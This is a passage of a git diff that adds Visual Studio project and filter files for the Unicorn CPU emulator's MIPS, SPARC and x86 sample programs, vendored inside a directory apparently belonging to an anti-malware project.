<GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_mips.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_mips/sample_mips.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_mips/sample_mips.vcxproj.filters new file mode 100644 index 0000000..9551457 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_mips/sample_mips.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_mips.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_sparc/sample_sparc.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_sparc/sample_sparc.vcxproj new file mode 100644 index 0000000..2f4ed55 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_sparc/sample_sparc.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{A25CA34D-2F64-442B-A5D3-B13CB56C9957}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_sparc</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_sparc.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_sparc/sample_sparc.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_sparc/sample_sparc.vcxproj.filters new file mode 100644 index 0000000..306de23 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_sparc/sample_sparc.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_sparc.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86/sample_x86.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86/sample_x86.vcxproj new file mode 100644 index 0000000..bfb2b1f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86/sample_x86.vcxproj @@ -0,0 +1,193 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{F8053D66-8267-433A-BF2C-E07E2298C338}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_x86</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + <PreBuildEvent> + <Command> + </Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__x86_64__</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + <PreBuildEvent> + <Command> + </Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + <PreBuildEvent> + <Command> + </Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__x86_64__</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + <PreBuildEvent> + <Command> + </Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_x86.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86/sample_x86.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86/sample_x86.vcxproj.filters new file mode 100644 index 0000000..dd731b2 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86/sample_x86.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_x86.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86_32_gdt_and_seg_regs/sample_x86_32_gdt_and_seg_regs.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86_32_gdt_and_seg_regs/sample_x86_32_gdt_and_seg_regs.vcxproj new file mode 100644 index 0000000..2600557 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86_32_gdt_and_seg_regs/sample_x86_32_gdt_and_seg_regs.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{9D96D09A-DE17-4011-9247-F0009E8D6DB5}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_x86_32_gdt_and_seg_regs</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup 